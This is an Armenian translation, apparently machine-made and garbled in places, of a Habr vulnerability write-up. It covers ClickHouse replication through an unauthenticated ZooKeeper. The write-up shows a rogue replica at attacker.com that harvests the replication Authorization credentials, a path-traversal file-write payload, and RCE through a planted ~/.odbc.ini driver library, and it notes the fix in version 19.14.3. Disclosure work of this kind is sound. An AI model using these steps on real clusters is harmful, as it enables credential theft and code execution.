Այս հոդվածը կպատմի ClickHouse կրկնօրինակման արձանագրության շատ կոնկրետ խոցելիության մասին, ինչպես նաև ցույց կտա, թե ինչպես կարելի է ընդլայնել հարձակման մակերեսը:
ClickHouse-ը տվյալների բազա է մեծ ծավալի տվյալների պահպանման համար՝ առավել հաճախ օգտագործելով մեկից ավելի կրկնօրինակներ: Կլաստերավորումը և կրկնօրինակումը ClickHouse-ում կառուցված են վերևում
ZK-ի լռելյայն տեղադրումը չի պահանջում նույնականացում, ուստի հազարավոր ZK սերվերներ, որոնք օգտագործվում են Kafka, Hadoop, ClickHouse-ը կարգավորելու համար, հանրությանը հասանելի են:
Ձեր հարձակման մակերեսը նվազեցնելու համար ZooKeeper-ը տեղադրելիս միշտ պետք է կարգավորեք նույնականացումը և թույլտվությունը:
Իհարկե, կան որոշ 0 օր հիմնված Java deserializations, բայց պատկերացրեք, որ հարձակվողը կարող է կարդալ և գրել ZooKeeper-ին, որն օգտագործվում է ClickHouse-ի կրկնօրինակման համար:
Երբ կարգավորվում է կլաստերի ռեժիմում, ClickHouse-ն աջակցում է բաշխված հարցումներին /clickhouse/task_queue/ddl
.
Օրինակ, դուք ստեղծում եք հանգույց /clickhouse/task_queue/ddl/query-0001
բովանդակությամբ:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
և դրանից հետո թեստային աղյուսակը կջնջվի host1 և host2 կլաստերային սերվերների վրա: DDL-ն աջակցում է նաև CREATE/ALTER/DROP հարցումների գործարկմանը:
Վախենա՞կ է հնչում: Բայց որտեղի՞ց կարող է հարձակվողը ստանալ սերվերի հասցեներ:
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
հանգույցներ կստեղծվեն սյունակ и տեղեկություններ եվ տվյալներ տվյալների մասին.
Բովանդակություն /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Հնարավո՞ր է միավորել տվյալ կլաստերի տվյալները: Այո, եթե կրկնօրինակման պորտը (TCP/9009
) սերվերի վրա chXX-address
firewall-ը չի փակվի, և կրկնօրինակման համար վավերացումը չի կազմաձևվի: Ինչպե՞ս շրջանցել նույնականացումը:
Հարձակվողը կարող է նոր կրկնօրինակ ստեղծել ZK-ում՝ պարզապես պատճենելով բովանդակությունը /clickhouse/tables/01-01/foobar/replicas/chXX
և փոխելով իմաստը host
.
Բովանդակություն /clickhouse/tables/01–01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Այնուհետև դուք պետք է մյուս կրկնօրինակներին ասեք, որ հարձակվողի սերվերի վրա կա տվյալների նոր բլոկ, որը նրանք պետք է վերցնեն. ZK-ում ստեղծվում է հանգույց: /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX միապաղաղ աճող հաշվիչը, որը պետք է ավելի մեծ լինի, քան վերջինը իրադարձությունների մատյանում).
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
որտեղ source_replica — նախորդ քայլում ստեղծված հարձակվողի կրկնօրինակի անունը, block_id - տվյալների բլոկի նույնացուցիչ, ստանալ - «ստանալ արգելափակում» հրամանը (և
Հաջորդը, յուրաքանչյուր կրկնօրինակը կարդում է նոր իրադարձություն գրանցամատյանում և գնում է հարձակվողի կողմից վերահսկվող սերվեր՝ տվյալների բլոկ ստանալու համար (կրկնօրինակման արձանագրությունը երկուական է, աշխատում է HTTP-ի վերևում): Սերվեր attacker.com
կստանան հարցումներ.
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
որտեղ XXX-ը կրկնօրինակման վավերացման տվյալն է: Որոշ դեպքերում սա կարող է լինել հաշիվ, որը մուտք ունի տվյալների բազա հիմնական ClickHouse արձանագրության և HTTP արձանագրության միջոցով: Ինչպես տեսաք, հարձակման մակերեսը դառնում է չափազանց մեծ, քանի որ ZooKeeper-ը, որն օգտագործվում էր կրկնօրինակման համար, մնաց առանց նույնականացման կազմաձևման:
Դիտարկենք ռեպլիկայից տվյալների բլոկ ստանալու գործառույթը, գրված է լիակատար վստահությամբ, որ բոլոր կրկնօրինակները գտնվում են պատշաճ հսկողության տակ և նրանց միջև վստահություն կա։
վերարտադրման մշակման կոդը
Ֆունկցիան կարդում է ֆայլերի ցանկը, այնուհետև դրանց անվանումները, չափերը, բովանդակությունը, այնուհետև գրում դրանք ֆայլային համակարգում: Արժե առանձին նկարագրել, թե ինչպես են տվյալները պահվում ֆայլային համակարգում:
Կան մի քանի ենթագրքեր /var/lib/clickhouse
(կանխադրված պահեստավորման գրացուցակը կազմաձևման ֆայլից):
դրոշները - գրացուցակ ձայնագրման համար
tmp — ժամանակավոր ֆայլեր պահելու գրացուցակ;
օգտվողի_ֆայլեր — հարցումներում ֆայլերի հետ գործառնությունները սահմանափակվում են այս գրացուցակով (INTO OUTFILE և այլն);
տեղեկություններ եվ տվյալներ տվյալների մասին — sql ֆայլեր աղյուսակի նկարագրություններով;
preprocessed_configs - մշակված ածանցյալ կազմաձևման ֆայլերը /etc/clickhouse-server
;
տվյալներ - փաստացի գրացուցակը ինքնին տվյալների հետ, այս դեպքում յուրաքանչյուր տվյալների բազայի համար այստեղ պարզապես ստեղծվում է առանձին ենթացանց (օրինակ /var/lib/clickhouse/data/default
).
Յուրաքանչյուր աղյուսակի համար տվյալների բազայի գրացուցակում ստեղծվում է ենթատեղեկատու: Յուրաքանչյուր սյունակ առանձին ֆայլ է՝ կախված նրանից
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
Replica-ն ակնկալում է ստանալ նույն անուններով ֆայլեր տվյալների բլոկի մշակման ժամանակ և ոչ մի կերպ չի վավերացնում դրանք:
Ուշադիր ընթերցողը հավանաբար արդեն լսել է ֆունկցիայի մեջ file_name-ի ոչ անվտանգ միացման մասին WriteBufferFromFile
. Այո, սա թույլ է տալիս հարձակվողին կամայական բովանդակություն գրել FS-ի ցանկացած ֆայլի վրա, որն ունի օգտվողի իրավունքներ clickhouse
. Դա անելու համար հարձակվողի կողմից վերահսկվող կրկնօրինակը պետք է վերադարձնի հարցմանը հետևյալ պատասխանը (տողերի ընդմիջումները ավելացվել են հասկանալու համար).
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
և միացումից հետո ../../../../../../../../../tmp/pwned
ֆայլը կգրվի /tmp/pwned բովանդակությամբ hellofromzookeeper.
Կան մի քանի տարբերակներ՝ ֆայլերը գրելու հնարավորությունը հեռավոր կոդի կատարման (RCE) վերածելու համար։
Արտաքին բառարաններ RCE-ում
Ավելի հին տարբերակներում ClickHouse-ի կարգավորումներով գրացուցակը պահվում էր օգտվողի իրավունքներով clickhouse լռելյայն. Կարգավորումների ֆայլերը XML ֆայլեր են, որոնք ծառայությունը կարդում է գործարկման ժամանակ, այնուհետև պահում է քեշը /var/lib/clickhouse/preprocessed_configs
. Երբ փոփոխություններ են տեղի ունենում, դրանք վերընթերցվում են: Եթե դուք ունեք մուտք դեպի /etc/clickhouse-server
հարձակվողը կարող է ստեղծել իր սեփականը root
.
ODBC դեպի RCE
Փաթեթ տեղադրելիս ստեղծվում է օգտատեր clickhouse
, բայց դրա հիմնական գրացուցակը ստեղծված չէ /nonexistent
. Այնուամենայնիվ, երբ օգտագործում եք արտաքին բառարաններ կամ այլ պատճառներով, ադմինիստրատորները ստեղծում են գրացուցակ /nonexistent
և տվեք օգտագործողին clickhouse
մուտք՝ դրան գրելու համար (SSZB! մոտ. թարգմանիչ).
ClickHouse-ն աջակցում է odbc-bridge
, ուստի այլևս հնարավոր չէ հարցումից նշել վարորդի ուղին: Բայց հարձակվողը կարո՞ղ է գրել տնային գրացուցակ՝ օգտագործելով վերը նկարագրված խոցելիությունը:
Եկեք ստեղծենք ֆայլ ~/.odbc.ini
այսպիսի բովանդակությամբ.
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
ապա գործարկման ժամանակ SELECT * FROM odbc('DSN=lalala', 'test', 'test');
գրադարանը կբեռնվի test.so
և ստացավ RCE (շնորհակալություն
Այս և այլ խոցելիությունները շտկվել են ClickHouse 19.14.3 տարբերակում: Հոգ տանել ձեր ClickHouse-ի և ZooKeepers-ի մասին:
Source: www.habr.com